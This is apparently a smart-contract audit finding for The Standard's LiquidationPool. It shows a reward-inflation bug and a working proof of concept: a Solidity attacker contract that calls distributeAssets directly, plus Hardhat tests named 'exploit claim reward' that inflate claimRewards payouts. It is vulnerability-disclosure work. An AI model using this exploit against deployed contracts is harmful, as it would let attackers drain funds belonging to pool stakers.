If you run ClaimReward when LiquidPool's balance remains even after one day after executing LiquidpoolManager's "runLiquidation", you can receive a reward greater than the existing reward.
https://github.com/Cyfrin/2023-12-the-standard/blob/main/contracts/LiquidationPool.sol#L205
pragma solidity ^0.8.17;
import "hardhat/console.sol";
import "contracts/interfaces/ITokenManager.sol";
interface ILiquidationPoolManager {
struct Asset {
ITokenManager.Token token;
uint256 amount;
}
function distributeFees() external;
function runLiquidation(uint256 _tokenId) external;
}
interface ILiquidationPool {
function distributeFees(uint256 _amount) external;
function distributeAssets(ILiquidationPoolManager.Asset[] memory _assets, uint256 _collateralRate, uint256 _hundredPC) external payable;
}
contract ExampleContract {
ILiquidationPoolManager.Asset public asset;
ILiquidationPool public liquidationPool;
address public holder;
address public clAddr;
constructor(address _liquidationPool, address _holder, address _clAddr) {
liquidationPool = ILiquidationPool(_liquidationPool);
holder = _holder;
clAddr = _clAddr;
}
function setAsset() public {
asset.token.addr = address(0);
asset.token.dec = 18;
asset.token.symbol = "ETH";
asset.token.clAddr = clAddr;
asset.token.clDec = 0;
asset.amount = 70957500000000000;
}
function distributeAssets() external {
ILiquidationPoolManager.Asset[] memory _assets = new ILiquidationPoolManager.Asset[](1);
_assets[0] = asset;
(liquidationPool).distributeAssets(_assets, 1000000000000000000, 1);
}
function console_getBalance() external view {
console.log("balance: %s", address(this).balance);
}
}
const { expect } = require("chai");
const { ethers } = require("hardhat");
const { BigNumber } = ethers;
const { mockTokenManager, DEFAULT_EUR_USD_PRICE, DEFAULT_ETH_USD_PRICE, DEFAULT_WBTC_USD_PRICE, DEFAULT_USDC_USD_PRICE, DEFAULT_COLLATERAL_RATE, HUNDRED_PC, TOKEN_ID, rewardAmountForAsset, fastForward, DAY, POOL_FEE_PERCENTAGE, fullyUpgradedSmartVaultManager, PROTOCOL_FEE_RATE } = require("./common");
const { setBalance } = require("@nomicfoundation/hardhat-network-helpers");
describe('LiquidationPool', async () => {
let LiquidationPoolManager, LiquidationPoolManagerContract, LiquidationPool, SmartVaultManager, TokenManager,
TST, EUROs, WBTC, USDC, holder1, holder2, holder3, holder4, holder5, Protocol, ERC20MockFactory;
beforeEach(async () => {
[user1, holder1, holder2, holder3, holder4, holder5, Protocol] = await ethers.getSigners();
ERC20MockFactory = await ethers.getContractFactory('ERC20Mock');
TST = await ERC20MockFactory.deploy('The Standard Token', 'TST', 18);
EUROs = await (await ethers.getContractFactory('EUROsMock')).deploy();
({ TokenManager, WBTC, USDC } = await mockTokenManager());
SmartVaultManager = await (await ethers.getContractFactory('MockSmartVaultManager')).deploy(DEFAULT_COLLATERAL_RATE, TokenManager.address);
const EurUsd = await (await ethers.getContractFactory('ChainlinkMock')).deploy('EUR/USD');
await EurUsd.setPrice(DEFAULT_EUR_USD_PRICE);
LiquidationPoolManagerContract = await ethers.getContractFactory('LiquidationPoolManager');
LiquidationPoolManager = await LiquidationPoolManagerContract.deploy(
TST.address, EUROs.address, SmartVaultManager.address, EurUsd.address, Protocol.address, POOL_FEE_PERCENTAGE
);
LiquidationPool = await ethers.getContractAt('LiquidationPool', await LiquidationPoolManager.pool());
await EUROs.grantRole(await EUROs.BURNER_ROLE(), LiquidationPool.address);
});
afterEach(async () => {
await network.provider.send("hardhat_reset")
});
describe('abusing reward', async () => {
it('original claim reward', async () => {
let test;
test = await (await ethers.getContractFactory('ExampleContract')).deploy(LiquidationPool.address, user1.address, "0xdc64a140aa3e981100a9beca4e685f962f0cf6c9");
await setBalance(test.address, ethers.utils.parseEther('3000'));
await test.setAsset()
const ethCollateral = ethers.utils.parseEther('0.1');
const wbtcCollateral = BigNumber.from(2_000_000);
const usdcCollateral = BigNumber.from(500_000_000);
await holder1.sendTransaction({to: SmartVaultManager.address, value: ethCollateral});
await WBTC.mint(SmartVaultManager.address, wbtcCollateral);
await USDC.mint(SmartVaultManager.address, usdcCollateral);
const tstStake1 = ethers.utils.parseEther('100');
const eurosStake1 = ethers.utils.parseEther('100');
await TST.mint(holder1.address, tstStake1);
await EUROs.mint(holder1.address, eurosStake1);
await TST.connect(holder1).approve(LiquidationPool.address, tstStake1);
await EUROs.connect(holder1).approve(LiquidationPool.address, eurosStake1);
await LiquidationPool.connect(holder1).increasePosition(tstStake1, eurosStake1);
const tstStake2 = ethers.utils.parseEther('3000');
const eurosStake2 = ethers.utils.parseEther('300');
const test_balance = ethers.utils.parseEther('100');
const tstStake3 = ethers.utils.parseEther('10');
const eurosStake3 = ethers.utils.parseEther('1');
await TST.mint(user1.address, tstStake2);
await EUROs.mint(user1.address, eurosStake2);
await TST.connect(user1).approve(LiquidationPool.address, tstStake2);
await EUROs.connect(user1).approve(LiquidationPool.address, eurosStake2);
await LiquidationPool.connect(user1).increasePosition(tstStake3, eurosStake3);
await fastForward(DAY);
console.log("===================================================================\n\n")
console.log("before claim user1 balance");
console.log(await user1.getBalance());
await LiquidationPoolManager.runLiquidation(TOKEN_ID);
await LiquidationPool.connect(user1).claimRewards();
console.log("\n\n===================================================================");
console.log("after claim user1 balance");
console.log(await user1.getBalance() + "\n\n");
});
it('exploit claim reward', async () => {
let test;
test = await (await ethers.getContractFactory('ExampleContract')).deploy(LiquidationPool.address, user1.address, "0xdc64a140aa3e981100a9beca4e685f962f0cf6c9");
await test.setAsset()
const ethCollateral = ethers.utils.parseEther('0.1');
const wbtcCollateral = BigNumber.from(2_000_000);
const usdcCollateral = BigNumber.from(500_000_000);
await holder1.sendTransaction({to: SmartVaultManager.address, value: ethCollateral});
await WBTC.mint(SmartVaultManager.address, wbtcCollateral);
await USDC.mint(SmartVaultManager.address, usdcCollateral);
const tstStake1 = ethers.utils.parseEther('100');
const eurosStake1 = ethers.utils.parseEther('100');
await TST.mint(holder1.address, tstStake1);
await EUROs.mint(holder1.address, eurosStake1);
await TST.connect(holder1).approve(LiquidationPool.address, tstStake1);
await EUROs.connect(holder1).approve(LiquidationPool.address, eurosStake1);
await LiquidationPool.connect(holder1).increasePosition(tstStake1, eurosStake1);
const tstStake2 = ethers.utils.parseEther('3000');
const eurosStake2 = ethers.utils.parseEther('300');
const test_balance = ethers.utils.parseEther('0.0000000001');
const tstStake3 = ethers.utils.parseEther('10');
const eurosStake3 = ethers.utils.parseEther('1');
await TST.mint(user1.address, tstStake2);
await EUROs.mint(user1.address, eurosStake2);
await TST.connect(user1).approve(LiquidationPool.address, tstStake2);
await EUROs.connect(user1).approve(LiquidationPool.address, eurosStake2);
await LiquidationPool.connect(user1).increasePosition(tstStake3, eurosStake3);
await fastForward(DAY);
console.log("===================================================================\n\n")
console.log("before claim user1 balance");
console.log(await user1.getBalance());
await LiquidationPoolManager.runLiquidation(TOKEN_ID);
await LiquidationPool.connect(user1).increasePosition(test_balance, test_balance);
await fastForward(DAY);
await test.distributeAssets();
await LiquidationPool.connect(user1).claimRewards();
console.log("\n\n===================================================================");
console.log("after claim user1 balance");
console.log(await user1.getBalance() + "\n\n");
});
});
});
In general, you can receive more reward than the reward you can get through the 'claimRewards' function.